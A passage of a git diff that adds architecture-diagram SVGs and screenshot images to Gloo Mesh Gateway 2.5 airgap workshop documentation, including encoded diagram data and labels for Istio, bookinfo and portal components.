UzSZiaeBpjqnZeb7iLlx1MDAwNplgXHUwMDAxR1x1MDAwMb1KhSRw0F52k9aFolNMgGlqg4hJSkRUXHUwMDE5qeJcdTAwMTCos35oZFjT5F19XHUwMDFmXHUwMDFh/aZw0Z0sVv58L1x0XHUwMDAwaMC9/lxmgEqtTKSab1x1MDAxOTDsjGu8nD6L3bRGJ6RyXCLfO4mTQ5qQfmSAyV1cdTAwMDRlJ5VBbGzFZ65cdTAwMTEodm7UjTYxcmo/x6GbXGbAXHUwMDA2ms3xu1x1MDAwMJtcdTAwMWQwi5PzxJJCmSh3+Fx1MDAxZivO8bpccklN7VAwRaPsOfxcdTAwMTZcbntcYlx1MDAwNVNRh1FcdTAwMDOgKJhcdTAwMDWw1XrVoEJcdTAwMDArKFx1MDAwN8tcYlx1MDAxNFx1MDAxYUCgzdBcdTAwMDfQLKBcdTAwMWJAZVx1MDAxYfCPQCsgXHUwMDE0XHUwMDExXHUwMDAzpVx1MDAwMFx1MDAwYlx1MDAwMFx1MDAxOKA+MCimoJdcdTAwMThcdTAwMDNcdTAwMTKm9jjgXHUwMDFmg4FtIbUy6bdcdTAwMDB+NuN3aVx1MDAxOetcdTAwMTCblokwRaHY8mjCvG+ogsMlN1x1MDAwMiiMLTBrgDeYJtKYjiuTM4aHsYlg3Vx1MDAwNFx1MDAxMVx1MDAxYjFcdTAwMWWmlsme0oD4pVx0nWVLSVx1MDAwZlxilpVcdTAwMWJLXHUwMDAwllx1MDAwZfAuI1x1MDAxYiGyu1x1MDAwNDCXQZREkp/1XHUwMDBiXGJYU3rbhFAv/7lA7v5zrYRZry1cdTAwMDJcdTAwMDcuypXj1u1cdTAwMDDFXHUwMDFmW49cdTAwMTfpm2rmOHV8XHUwMDFmdSCoLGPSweqbpJ2VkoBYaWN8SmRcdTAwMTLJkPDyI+7b287iJlx1MDAxOFx1MDAxYvjQ2JiEOFx1MDAxNVxixD9cYlx1MDAwZlx1MDAwYiAxXHUwMDEz1bp+fmSqOJqIxyi7XHUwMDEyo+NEZ1xiu0IgXHUwMDBlolx1MDAwMFx1MDAwMzv6T5IkKFnN6+Lz1ZDWxtlB/WpcdTAwMTivubWtjlxmXHUwMDAy4lx1MDAxNlJcYqxRxU3j+FVcdTAwMDSETaI6YCOQXHUwMDAyYPbb8sc/XHUwMDFmXHUwMDAxwVx1MDAwNI0swiZRiNpcdTAwMGLcf/Sz1kxcYlx1MDAxOCjKoaPfXGJon1J2noAlXHUwMDA2iEUzULmAQUA2Kqo2Olk9MVx1MDAwYoxcdTAwMDfox6TRKOO0RWyja8pcdTAwMTO0XHUwMDE419TcwVx1MDAwNdJcdTAwMWQzUDebvazesFx1MDAwNVx1MDAwNlx1MDAwNMSvXHUwMDE04EG4XHUwMDE18KZcdTAwMGavoydwiZlagFx1MDAxMsZcdTAwMDRON9mTSG2Ead7IXHUwMDA1gFx1MDAwYsX0h0uZXHUwMDE4xaZtXHUwMDAz+lx1MDAwMi6uye3avf6WNIm1XHUwMDAw6LYoZXGuZ5nnp+S0SVx1MDAxMv38eFx1MDAxNJfpkVtcdTAwMGLSXHL1t1ZNxDDr8mhqXHUwMDAxXHUwMDEwoKYtXHUwMDE5/JssO7BcdTAwMDBcdTAwMDdgS1x0+IQog2qVe8BcdTAwMTeAvLIu7lx1MDAwMVxcmGWQuMbASIRw6Vx1MDAwNFxcpCW5qfGpXHUwMDAwXHUwMDEwXHUwMDBi4lBiXHUwMDEwYC1ALPq710+Nnb1dXHR+XHUwMDEyu0jl7uVtXHUwMDAxNS6K+sSuWj6SyWH3pDlQNvmyxklMXHUwMDFkksmZZbQyXGJcdTAwMTU1P2iTvyTUllx1MDAxOe7vlfNEOZMtzsTxOKZ7OMNcdTAwMWbTjvVTTYVBbFx1MDAxY1x1MDAxMFSDNWKgsVqfXHUwMDE0tyhQJFwi1FRbQvjLl+pxo25zrdF1UPJcctuKN6518EGgPFx1MDAxMKy9f2Tq3eMyouVTXHUwMDExXHUwMDA3XHUwMDA1glx1MDAxNNhcXEBpXHUwMDFj0+WsPTCEQV9cdFx0yplcdFNe2L1cXM9exaG5yedVlGFTXHUwMDExnth9hItcYlx1MDAwZm5cIm9cdFx1MDAxMDuAXHUwMDEyrNCadFx1MDAwM7OSULExqO+Ly7a3q1it33qg6ctkhfHO3euwMow5iVx1MDAxMWTS1Vx1MDAwMMhrsKgpTMBWXGZ/IUaMqWtcbntI031ULU7gt5RtW1x1MDAxNKyeY0ZjRVx1MDAwMO9hunRcdTAwMDK9qJ5cbqKPc9NcdTAwMWLA1FdFdG1SX0m2udP2j09XqDo42aZd21x1MDAxZZlq4Fxcb+Vy8u5cdTAwMGJcdTAwMWNR2Vx1MDAwNpDYXHUwMDAyYExcdTAwMThiJqmXrMk2Y+8yQ2uYglx1MDAwNeJcdTAwMGXe9pJtjFx1MDAwMUQkXHUwMDFjkFx1MDAwMzHVdFx1MDAxY1willxyiVx1MDAwMIbkWHKgXHUwMDAwXHUwMDEwyWvAjVx1MDAxMID/mm48jPziwu38garkdb1+r1HqOXVcdTAwMTnDT13ccsFI1FRqXHUwMDEyYGWZwCFcImyHd1x1MDAwYowkiEHoXHUwMDFh7Dak0K6F77cpWI00NnUplMlcblx1MDAwNaJzqk2kweDlnJriXHUwMDE0pi8pkmuz+krSLeZK3uZaI+wtpZtnUjp3P1hVQJBcbsx5/9bpcfU099bMZsdn1902vZy2RV28RTspXHUwMDE37Fx1MDAxMVx1MDAwYsxcdTAwMTLTe9i8LjtcdTAwMTWJ0tIysejGRjAxZGxlXsGUW/DT1s3WXHUwMDEw6cOJKIBYQFx1MDAwM0WzSvQxjlx1MDAwZl8rV52r2GMuXiml6rnU+eXfdrr+7uu2x7ghLe/3sPBdfdNcdTAwMTncXHUwMDE2+o/907ebVK1500mfdV2a/W61Z7PzWXOao7H6tHR8SrOPaNq9cZluQI3dnFx1MDAxN2gx7JpcdTAwMTBcYruxm7Cd86xcdTAwMWViMSxcdTAwMTFoXHUwMDFi/2E83ttcdTAwMWbRZlx1MDAwNEJcdFx1MDAwZoVcdTAwMDNWpkWDUjhBNPvFwlx1MDAwNG5cdTAwMTO28ZQ2YmesXHUwMDBiKtilrZutKP/xTeqfzqDcf7dX0v2Ebr9cdTAwMWKwlEdcdTAwMWJcdTAwMDGY8dHPXHTvgVx1MDAwYoUrLpTmUIiTLUryNujVsIBw7bXHajf3hdpcdMvmz6ONXHUwMDBisSAm4Fx1MDAwZVx1MDAxM6FcdTAwMTUzvd/WkCG3TNckk80oXHUwMDE03TNHPVBgKFx07Fx1MDAxMEdcIrx63PvgQsSPj3li/JquXHUwMDBmJuPKzV3rpF9cIt+4MChcXFx1MDAxONLyflx1MDAwZlx1MDAxYt6wk+NUvJVcdTAwMWOd33XaaDrRNULi7ZNcdTAwMDBI4VlVj1G31y1cdTAwMWOPXtu8dFmbJCv9UOGm81x1MDAwMm1cdTAwMGI3beVR9oWbcoN3XHUwMDAzoS28XHUwMDFi3ttcdTAwMWZRuFx0ekx76TFtilwiXHUwMDA3pMdcdTAwMDLBm5gxJDhcdTAwMTWRxZvO5Pnl8eZcdTAwMDaMXHUwMDE2XHUwMDAw3vQ4ZZGuVqGJndoqv8tbmkb0jIVcdTAwMTNqaYZcdTAwMTlcdTAwMTWCKKT06lx1MDAxOcs8XHUwMDAxzNQ+RoQg5W5cdTAwMTTu1X5TXHUwMDAzoFUmSdu8UuRQXHUwMDE0XHUwMDEwZiGIyUKjnHFuuvCssi9TpsAhQ5E9P97AvUFcdTAwMWaxoHm8NqLmSF1KeJVcdTAwMGV9q0w+XHUwMDA0wibJVyisd+xh5c2/R8tcdTAwMDcsXHUwMDEymVx1MDAwNFx1MDAwN1x0lr1cdTAwMDb7XHUwMDFlO55pm06IoFx1MDAxOFx1MDAxNHxFMrJ+pv3Fmm+6kre5YuuUvVx1MDAxOO8v+8/thZtX6lx1MDAxYUXG0bNFnXlvTFx1MDAxN1HpJrWpX0CB4kxRebJcXP2EaFwigf5N8SNt0lx1MDAwMWhYndNh/5mpsWS6s2vslL6KLYZcdTAwMTgwKlXc1G1gaFxynTCASCZcIjayJ8jBiDffssRkkGttXHUwMDFh8lx1MDAwMbQ057DcobmwXHSNXCLcXHUwMDE0yTN908Wu4THJ22nquHZcdTAwMWUv5mYs3muf6W5+5Fx1MDAxOI9cYvJcckjJVFx1MDAwNeFcdTAwMDLDP7BYXHUwMDBmj5FcdTAwMTaT3JSh1lx1MDAxNEtcdTAwMDJLXHUwMDE3hHg7XFx0jCtxmyu2TteBXHQ37V7LkkrFselcbuhbuHmfu0RTuFx0wS2FwcDi1NSuYKvIjZgmXHUwMDFhQGlEmmovOqTO6fO+pqY2XHUwMDEzn5fqc1xua1x1MDAwNk6lXHUwMDE0XHUwMDExLKlcdTAwMTFinK8npVxibJqtbU5K+eLCzduxvlxmlDBcdTAwMDJQbuqBXHUwMDEwo72kY1xiseRcYkkhgdRcdTAwMDGf/0rI3Das+e2yNZvE0aSHmjGRfLl5OZ5JN/BcdTAwMDZyjVx1MDAxM1MvSYKyXHUwMDE0bH1SwmJcdTAwMWOmy0yuhTJ1hr+0cIu5Uvf803XCXHUwMDBlXHUwMDBlubmXXHUwMDFkMWE6c3DsW7h5XHUwMDFm/kZTuCkuLWpcbidppMzrKnKjpo1cdTAwMWM31ivwhlx1MDAxNiFcdLcg7FKspKJaIf0t3D6Qm0ZcdTAwMWGUljI97/RSQpktrlloQiQyaVx1MDAwM0KzXHUwMDFkcza2XGK2xqbnmvHLmv63cNd1Y1lbQFx1MDAwMyBtmYBXRNejXHUwMDExv83SoyOfZ7zCxierwc1cdTAwMTLNXHUwMDBiVfr3jnv3noyqd5xSZSnjXHUwMDAz4dS8LlekJSA1LKBIjIEgTYE4V/nmpzCnm3wjXGIgou1iTtWYibC0/bK5XHUwMDAwf/nNXHUwMDExQlx1MDAxY1x1MDAwMSxcYk3A7XPqXHUwMDFiK9Uuhycn/Sc6qMdzOJesvlTbf9tpfbczrtC7O+9wXHUwMDE45clzXHUwMDE0uyZcdTAwMTRgXG57qMQ2XHUwMDExUKfqLJ1cdTAwMTiOUoVutlwiXHUwMDBijdok91hcdTAwMWHuXHUwMDAyKlZdymGynFiKuF3JXHUwMDA1JYT7YzlcdTAwMWapoP9TKLNCqbDOcjtcdTAwMDbcKlNcdTAwMTZGko3F/lx1MDAwZsNiyZvMSXJcdTAwMTDrTlx1MDAxMyd3qUq5VFx1MDAxOaDCvTMrfFx1MDAwN1ZsP25Iy1x1MDAxYviwm87onW/4XHRi0e2Mnlx1MDAxMtduQKZcdTAwMGVcdTAwMTPSW1x1MDAxOFneq1x1MDAxOVlcdTAwMTBcIoSXRKTYwn4k4mpcdTAwMTRZWCf0iplcdTAwMTRcdTAwMTWk/6hcdTAwMTN6MHH6MLujfzpVuOE4P7Wvc+iH81x1MDAxYvT86uH8r8n+mupcdTAwMWVwRbjmditcdTAwMDVUwOVcdTAwMTZcdTAwMWQrR3GKUuU7hcfiflwixvhiXHUwMDE0P9+pcv9nolx1MDAxNa49eJNcdTAwMTJcdTAwMWNVtEKUYFx1MDAxOMtcdTAwMTCrVOxcdTAwMDNWmsnhRFeSs1Luslm7XHUwMDFinVXvprGbb7BcdTAwMTJcdTAwMTRYXHRpeUNcdTAwMWFcdTAwMTY/dIqi+PBaaJRcdTAwMWZP0XHi9lx1MDAwNI2vorhcbpuwlfNcclx1MDAwZomttGvsgalcdTAwMDGvXHUwMDE52abVovd6Rlx1MDAxN10xT1x0LiOFrlxiXCIm116Tw1x1MDAxOZlcdTAwMDdAV+X8YDguXHUwMDBmhlx1MDAwN4JXXHUwMDFigMkqvPqY7f74iktXXHUwMDE3rHFcdTAwMDQpKrewfopXb9WHdOn6rsFOX++fO/VkZpCNPH9yjVx1MDAwMN5I0/jCvMqVXHUwMDAwZayUZbpfmFx1MDAwMzfKkUdh68P7YKUpqSflXHUwMDAxY5e91GFYPtiH4e372bRRKVaHp/HOcbzcz8RlXHUwMDAw44rnYeEuX7mKlc5fY7n7e35+9uziXHUwMDFhiYZvl7mHMSuiXHUwMDA1ZsI/LzevqzeZRDVcdTAwMTc/XHUwMDE3zye3hfPnh0LmzoWXo2IrgVx1MDAxNrW0XHSVQPPXlf5+hCDsj5P9XHUwMDE4S4SoQtkpzm8nY4kzRFx1MDAxOJJcdTAwMTEtpfA+7j+Parex7nMzO5m1XHUwMDA3zbPHK/ptLFx1MDAwNWUshbS8X2XYTUaN81xyP0HWulx1MDAxOTXMvZskloTSeVFy34LWez2jXG6aXHUwMDA0XHUwMDE2nqJcdTAwMTZri/hcdTAwMTG1oVg1ZFx1MDAxZFx1MDAxOSFcdTAwMDHGJqIovMDpKFo1k2F+NKzZV/fDlLFcdTAwMWRcdTAwMDNvZ8pcZru2p1xcsWM2gIY1O+bn/HZHPFx1MDAxY7lGyMGiaonpXHUwMDE25kvqViU7N3dPXHUwMDBm+UlPXuTfSn2SdosgiVx1MDAwZeShXHUwMDE2cq3mQVx1MDAxOY0q4sHMVKeXiERcdTAwMTPydE/VKz95f6+25U1fiW4lRnnrXHUwMDFi8lx1MDAwNFx1MDAwNXlCWt4/fNhNSMr5hlx1MDAwN0RSXFy4XHUwMDA2I1EjurcqTe+9nNFcdTAwMDVSykuAXHUwMDBiXHUwMDFjKVx1MDAxY2VcdTAwMTL1pcSH9DBcdTAwMWRcdTAwMDBH9eE2R616uz50yYnfXHUwMDE5TG3wXHUwMDBib0Akq3hqaZ67gyqm3Fx1MDAxM0ZcdTAwMTmBdZbb1F6KJSajXHUwMDE0rlx1MDAxNTrjx6tattu6Zej0OfKoXG55WjcysrCKYExcdDOBXHUwMDExkYRVufTb832i2p7lhrXWMPuKXoe976KcgcGqkJb3e9gwht2E1pxveEi0ZsNcYqu1M5UwrVx0tmhcdTAwMDDnvZzRRWvcUzHoaME1QbXgiKo/yuvVL5fqg0+FaVx1MDAxYiDOXHUwMDFhTJtPcCdcdTAwMTa0p1Y7QDOlmS1cdTAwMWZ3I1x1MDAwZk57SUZcdTAwMTKzQfKcXsdcdTAwMGLZdmI2lMG2ulx0oZWXMtHIhGIsselcdTAwMGKwklx1MDAxMopcdTAwMTC2mDSdaU23L+XRXHLCz3G9XHUwMDFiNiPUoXqHXFzLaGdUU5hHeLbSppRPL312oNNtR95Wfnm72up2Y+3yoFx1MDAxNsuXSt3O4J9OJ1x1MDAwZr9cdTAwMDJcdTAwMDGVXHUwMDFkOV7sXHUwMDFhsOPh5V56ilXe9pqgJ8e7ZoFL9/RcdTAwMDRMleLYXHUwMDE08fHN8t67XHUwMDFlTZZXXFyZ1mGm+4TJuV2tIFxi1GZhXGYsj1x1MDAxOONGXHUwMDAyhsLyoNAtTkxjV0I44cqh76pcdTAwMTZcdTAwMTZinGFgecax0Fx1MDAwZT5vrkw5h9+9fI+3Xjla6bVcdTAwMDL2qknmUJiATY3WS+VwXHUwMDBiYIzWiGNYPYTYeqlcdTAwMWNfWeDewWnLk2JARlx1MDAxOFxiyrSBoaYvzdqkMLVcdTAwMDRcdTAwMDFArCSjSCPK1lx1MDAwYm98qVx1MDAxYVx1MDAxN67kba41wl5cZveX/efWsk24d7fCXG6oXHUwMDEybSXbMvpsnH9rXvWGtPhwXptVivwkXHUwMDE5cdkmJVx1MDAwNWpjlFx1MDAwMqI3nSCXO6rDu8JcItxUv+CcUupcdTAwMTF86KPKt5to49RcItqU0eBcdTAwMDZY2TtXLyqTYWExQkH8Sqq5oOt+JySwXHSg/E3KW7i3g3ZcdTAwMTMvlfOH3mzKn64ntfiDbI7e6mmBncRcdTAwMGKyqIkpnVx1MDAxZn1iXHUwMDEz9LVesYwoS2tT3Vx1MDAwNJu6M0jRQIpcdTAwMWZcdTAwMWVOuLhcdTAwMTLY/NM12tpSumxoI+BcdTAwMWEgQIHbTJ90/1x1MDAwMqZfXHUwMDFjxYfj8mkn28pccmKTbGv0lq5GW8AwtJzaqVc9XHUwMDE2hFumKzJcdTAwMDdS45Iw91x1MDAxMjpcdTAwMDdoMFx1MDAwNUpJKGbvcVx1MDAxZiVfdqfdXHUwMDFhTnlBXHUwMDFmJ15v8lx1MDAwZmX0TFSn8+3LXHUwMDBlypdcdTAwMWTS8n6tYcPqXHUwMDA0XHUwMDE1+HQ3ObOdb7hcdTAwMTh2jVnDdmZcdTAwMGLq3l9GI2NtMP+KwXs5I+rMZlx1MDAxOHurXHUwMDA2RixcdTAwMWWUalxiJPiAmTKW7IBcdTAwMTFjXHUwMDA38GZ3usNYvTN3KX2qT3tcdTAwMDPWWfV72ae5O1qji1x1MDAwNrBr9qBcdTAwMTbzftJbXHUwMDE0JzordWr1UneQqbAn1a6c9kbTUmlcdTAwMTe49nmRXHUwMDA3XHUwMDA2rjHb+dKKd5tibZkyutq01cZCubu6/ERcdTAwMWVcdTAwMDSL1pjAmjBcdTAwMWNic+N9wFx1MDAxYeXdXFxudElcdTAwMDeV7HHzqV0/a749XHUwMDA1kFxmXHUwMDEx0rBhYcD32HN2dFvrJluyWLl6KXdnyYFcYmDc2VSq01x1MDAwYpzPlpM5ctd4uaCDqUui+1bjfq1dXHUwMDBifNhNoMr5hlx1MDAwN1x1MDAwNFV0UaF4XHJUMU2R3Fx1MDAwMlN5r2aEMZWX/KYmayYg+Vx1MDAxZFxipMJSKlwi+Fx1MDAxZlx1MDAxNc55XGI4tVx1MDAwMYusXHUwMDE3UPJcdTAwMDGlXFzz05BrkFx1MDAwMOhoptA2UdXj/Eui+jbpXHUwMDBllHx8vjohddS/jniMXHUwMDAwV6ZbXHUwMDExcFx1MDAxOfBcdTAwMThVfMWuwVorXHUwMDBi1sH0XCKTxDQ9crdr9jkvZFx1MDAwZahpPUTAgFol7Fx1MDAxMCtKMVx1MDAwMsfZ8vQ1p1DnjvR65YLCj2ePY396fVx1MDAxZt3jyN6+Y1x1MDAwNGrDYa9Q70QuNMBhXp7s7XpqppBHRIDkQkngcd9cZu69x5FkcIGZRak0bfqUkLaeL79cdTAwMDJcdTAwMDLmh2bYRFxmKMn3q9jhyt9cYkwxQbRcdTAwMDCjjFIwS1x1MDAxZFwigpSytOk8Y/q7XGKu9VpVeHN+TDjBh+P+T4lcdTAwMDfw1iFHK/FcdTAwMDBcdTAwMDJcdTAwMTNcdTAwMDSGpCBcdTAwMTgzW3WoI+d4XHUwMDAwpnesXG5/3lx1MDAxZaFY73Jw1ku/n5XG7StcdTAwMWXrPLpMSlx1MDAxMMBqUnBGqeZwy7U5XHUwMDExZFx1MDAxMU2IXHSB1YZcdTAwMDNcdTAwMDVbm9SXOrFzp25zrdH1Yry/7D+3lmyYeFx1MDAxNKcmpmecIP4tiGqJTVvN4clrpXaabLbFaV9lol8ujDBh75e6XHUwMDE45Vx1MDAwN3iRzKdT1keIsWvFR2lJ26WIQ8tcdTAwMGKbZPjlXHUwMDAwMi5zXHUwMDEz+vx7XGIz91x1MDAxMIClT75cdTAwMTJbu26ruYDnt2RjN/tcdTAwMDO7n7mDTFx1MDAxN4hKofx7cVPTjMbvpHrffcje8GL1Vdev41HnYlx1MDAxMI9cdTAwMTZRXFxiNn+1XHUwMDE543OEXCJcdTAwMTS2XHUwMDAwvSAkwESxcdcuZ+6uVVvlOtPa+kt8XHUwMDE0xuBcZlx1MDAxMIj4slxyU3fyXHUwMDAwvGNHk1x1MDAwMKulb4ZvXHUwMDEywDx24jDiblx1MDAwMVBGwZrU27T0PCfN4mnh7vYmO0SPTN9ORu3TqDNcdTAwMThGXHUwMDA0m96PiElhXpVcdTAwMDOHXHUwMDA1dnjpymPEqUzfXHUwMDFhj2lcdTAwMDRcdTAwMDaZJl+29dNuLEZcIsJiZDdcdTAwMTazN1x1MDAxYlthMcZN8UXsn8NiZ29Xgp/ELlK5e3lbQI2LonZrXHRcdTAwMWVcdTAwMWRcdTAwMGVcdTAwMDOIXHUwMDAwZrRrXUzDYbZcXDfs3jb3M7RcdTAwMThjoE1xiEVr93GjXHLP9Szz/JScNkmin1x1MDAxZo/iMj1KXHUwMDFjyI325+hIj+ZiSJluqJT7d4M/XzJ1L0coVmvmU6p1rp7SXHUwMDA0R56FlYnc11x1MDAxZrbkauaMYWFJsZCUXHUwMDBi6Zk4XHUwMDEzuo5k5lx1MDAxMjjEblx1MDAwMd86MnBcdTAwMWRcdGaDu6GHMNh6bItCiHdJ2uhcdTAwMGZGk1x1MDAwNpGpm5tcdTAwMWXqjMRr40uwXHUwMDE4llxmrNr5K1tlMU6XWMwjXHUwMDFmdVx1MDAxZlx1MDAxZXPIRnPgMS05YFx1MDAxN/Vn8Vx1MDAxOI1cYo/RPeLiXHUwMDA0do2rwIJyplx03qJccs7b+fTmqlx1MDAxNzvr3d63mi+llCalZMRzQLnpcv5cdTAwMTGpilazpCizXHUwMDE4Nr0kXGJcdTAwMDdTcD8kXHUwMDFhcFx1MDAwZYM05XhomCmf+4TFjYu9XG7J3z2+NTvXzX5nfD1cdTAwMWRfY2dkXHUwMDFhhfi1r5bDXHUwMDEw0vJ+rWHDymH4KquwKYrP+YaLYddkQNhRfFx1MDAxMrtHYYN45ZLKLSwn7/WMKKzjXHUwMDEyeelcdTAwMWKOLVx1MDAxZJC+XHSkurVASJraXHUwMDA3XHUwMDA30zFcdTAwMDdcdTAwMDB2XHUwMDAzgEulfL90dNMtOUO8kEL5NsCnVeC3NM/dISBj7kVcdTAwMTmFwExRtEXQT6P5lkT9XHUwMDBlK87iV1x1MDAxNNVOR1x1MDAxNyfZwi5cdTAwMTDw81IjOOAvRj5KpfLlqD5KXGIyjeyZXHUwMDA2g4xJ6e7v//zMXGKKXHUwMDE5JWBcdTAwMGVHM421z1u9jErdnFx1MDAxZt8m6+k0ib91z5/3V6MhXHL7nVx1MDAxOfFcdTAwMTV37atcZrtcdKo53/CAUM2rVC8nnNGtPHDe61x1MDAxOVWoJrSnXqDSXHUwMDEyXHUwMDAx6YUgsFx1MDAxYZeMaIXYXHUwMDFm1V5cdTAwMTGgz9G4PqxcdTAwMWSddd67zq1cdTAwMTXDQmtcdTAwMWKQzipaW5np7niNM9fjJ7BcdTAwMWOYwKa7om/OpGcjXHUwMDE1O21ke4VKMffQyZSqr6dcdTAwMTGvPMJcdTAwMDUxVWx+MeaKY9x0SbKEhi9ITlx1MDAwNaAjjyyMPUpcdTAwMWLtXHUwMDA22MCWwlxuR7SLYuflXCJ1LVKZM85mmaeH6tWEpXl0gdVXc9mFtLwhXHL7oG+1oirXaL5cXParalx1MDAxY1x1MDAxZr2NXHUwMDFiXHUwMDAxrEKmjmJtWXu+b9xfZd9FKybKNZfWJNtcdTAwMTUoR0VZzaN+XHUwMDFhP1xm7/OJOErgN5e6I9vB7PNZc5qjsfq0dHxKs49o2r1xKc691bhcdTAwMTc9mkZj1Eu2T28vXHUwMDA24zFcdTAwMWU+ZoNoWVx1MDAxYTg5bKy/4njDXHUwMDAzXCJXrl2djFpqSYncXCJJ0Xs5I1x1MDAwYlxcpaeCJMLCvlx1MDAxNOQnXHUwMDE1XHUwMDEzp1x1MDAxOFNuR9B/XHUwMDAwcE20ut2jTHlQ+3Qv41x1MDAwNsS3iluXJ7pcdTAwMDds5Vx1MDAxZWWRhFx1MDAwNGLdXCKyuJsulcWdzOerXHUwMDBmg/vbzuvje0VPvlx1MDAxNGqlaoUptbSIXHUwMDA0Plx1MDAxMFx1MDAxONmbIFx1MDAwNVx1MDAxYfK420GzgslcdTAwMTLFQ4yg2lx1MDAwN7WmT65cdTAwMTkqT1x1MDAxYsfTdKkpXvX1Y+Lu+lx1MDAxYrVcdTAwMDaFWkNa3q81bFhcdTAwMDfNgU93XHUwMDEzWHO+4Vx1MDAwMcGacD9cdTAwMTFcdTAwMTYgXHUwMDA2keTYP1jzXs6vXHUwMDAx1lb1XHUwMDAyw8ySPvTCZ0E1zZXQ7I8qlJdcdTAwMWFcZuvdT4dpXHUwMDFiIM4qTFtMcic+5Mq1slx1MDAwYsEm9Vxc8S3KXHUwMDE5N+RjN/HUK72c5kQp/Z6Pl1x1MDAxZVx1MDAxMm7wLDqMqIRlK1q5nFx1MDAxZVxyklxi+/P271x1MDAxYplhy3L+4EO6npdcIpWprqTp4VwiM7xcdTAwMTTbZV/VXHUwMDFln1x1MDAxM7fZN9Eutlx1MDAxM8f160fq02uyj1xucuRz3+VdLsvVcseZyW1h0J9cdTAwMTPU+3Muu+lU6Vx1MDAxYTyP4TOikb3L0MbeXHUwMDA3vedBdnJ+Uyr3XlP0Urau88noJ3EyqSxJXHUwMDA0XHUwMDEyXHUwMDAyXHUwMDFijbXCzWDSKEubSk1cYoFpw0JkZ+mQZubAzqa3Jlx1MDAxMUxE08aS99lZ4zk9eKuQbC+f6ov0XHLKR52dT1v1pVx1MDAxZDkkO/+ciyc7u1dlcu9ljVx1MDAxOadcdTAwMTIpKvxcdTAwMDdoee9lJF0nmJlcYi3QykRSolx1MDAxMLfV8v3BzaC5JWVCUUKU5numZLv3aTJVLoTUXHUwMDFjY0xAhDh0M5HzjFx1MDAxZEKx0iY+X68zOkVKmza/XzVl22dhJm+tcWRvWoLhzvO6lVRxgDVcdTAwMGKn1NFHSyRmXHUwMDExQcA0XHUwMDAyToDtV+tcdTAwMWSRfo8qKjF3XHUwMDEyM9dcdTAwMWFxLcb7y/7TyNz5XHUwMDFk/s73etkhbPHHRv39Xi+PT9zjXHUwMDEy//q5qEZcZpTNY/3nv3/99/9cdTAwMDOGPuFbIn0= + + + + ingress gatewayeastwest gatewayistiodGloo Mesh agentbookinfo-frontendsnamespacebookinfo-backendsnamespaceproductpagedetailsratingsreviewsproductpagedetailsratingsreviewsextauthrate limiterredisistiodGloo Mesh agentGloo Mesh Gateway componentsGloo Mesh management serverGloo Mesh dashboardPrometheusKubernetes clustersistio-gatewaysnamespaceKubernetes APIserverKubernetes APIserveringress gatewayeastwest gatewayextauthrate limiterredisgloo-mesh-addonsnamespacenot-in-meshin-meshhttpbinnamespacev1v2v1v2v3standard PodPod with EnvoyGloo Mesh PodIstio PodLegendClient \ No newline at end of file diff --git a/gloo-mesh/gateway/2-5/airgap/standalone-portal/images/steps/deploy-keycloak/bookinfo-oidc.png b/gloo-mesh/gateway/2-5/airgap/standalone-portal/images/steps/deploy-keycloak/bookinfo-oidc.png new file mode 100644 index 0000000000..4f8ca57cfb Binary files /dev/null and b/gloo-mesh/gateway/2-5/airgap/standalone-portal/images/steps/deploy-keycloak/bookinfo-oidc.png differ diff --git a/gloo-mesh/gateway/2-5/airgap/standalone-portal/images/steps/deploy-keycloak/keycloak-authentication-dialog.png b/gloo-mesh/gateway/2-5/airgap/standalone-portal/images/steps/deploy-keycloak/keycloak-authentication-dialog.png new file mode 100644 index 0000000000..ee079688d5 Binary files /dev/null and b/gloo-mesh/gateway/2-5/airgap/standalone-portal/images/steps/deploy-keycloak/keycloak-authentication-dialog.png differ diff --git a/gloo-mesh/gateway/2-5/airgap/standalone-portal/images/steps/deploy-keycloak/self-signed-cert-error.png b/gloo-mesh/gateway/2-5/airgap/standalone-portal/images/steps/deploy-keycloak/self-signed-cert-error.png new file mode 100644 index 0000000000..17674252db Binary files /dev/null and b/gloo-mesh/gateway/2-5/airgap/standalone-portal/images/steps/deploy-keycloak/self-signed-cert-error.png differ diff --git a/gloo-mesh/gateway/2-5/airgap/standalone-portal/images/steps/dev-portal-monetization/grafana.png b/gloo-mesh/gateway/2-5/airgap/standalone-portal/images/steps/dev-portal-monetization/grafana.png new file mode 100644 index 0000000000..19983ad4cf Binary files /dev/null and b/gloo-mesh/gateway/2-5/airgap/standalone-portal/images/steps/dev-portal-monetization/grafana.png differ diff --git a/gloo-mesh/gateway/2-5/airgap/standalone-portal/images/steps/dev-portal-self-service/api-key.png b/gloo-mesh/gateway/2-5/airgap/standalone-portal/images/steps/dev-portal-self-service/api-key.png new file mode 100644 index 0000000000..3b5bf6a548 Binary files /dev/null and b/gloo-mesh/gateway/2-5/airgap/standalone-portal/images/steps/dev-portal-self-service/api-key.png differ diff --git a/gloo-mesh/gateway/2-5/airgap/standalone-portal/images/steps/dev-portal-self-service/api-keys.png b/gloo-mesh/gateway/2-5/airgap/standalone-portal/images/steps/dev-portal-self-service/api-keys.png new file mode 100644 index 0000000000..cc94cb8c61 Binary files /dev/null and b/gloo-mesh/gateway/2-5/airgap/standalone-portal/images/steps/dev-portal-self-service/api-keys.png differ diff --git a/gloo-mesh/gateway/2-5/airgap/standalone-portal/images/steps/dev-portal-self-service/apis.png b/gloo-mesh/gateway/2-5/airgap/standalone-portal/images/steps/dev-portal-self-service/apis.png new file mode 100644 index 0000000000..04acf533a0 Binary files /dev/null and b/gloo-mesh/gateway/2-5/airgap/standalone-portal/images/steps/dev-portal-self-service/apis.png differ diff --git a/gloo-mesh/gateway/2-5/airgap/standalone-portal/images/steps/dev-portal-self-service/home.png b/gloo-mesh/gateway/2-5/airgap/standalone-portal/images/steps/dev-portal-self-service/home.png new file mode 100644 index 0000000000..c705b86e11 Binary files /dev/null and b/gloo-mesh/gateway/2-5/airgap/standalone-portal/images/steps/dev-portal-self-service/home.png differ diff --git a/gloo-mesh/gateway/2-5/airgap/standalone-portal/images/steps/gateway-expose/gloo-mesh-gateway.svg b/gloo-mesh/gateway/2-5/airgap/standalone-portal/images/steps/gateway-expose/gloo-mesh-gateway.svg new file mode 100644 index 0000000000..a7c7d4a9e0 --- /dev/null +++ b/gloo-mesh/gateway/2-5/airgap/standalone-portal/images/steps/gateway-expose/gloo-mesh-gateway.svg @@ -0,0 +1,16 @@ + + + 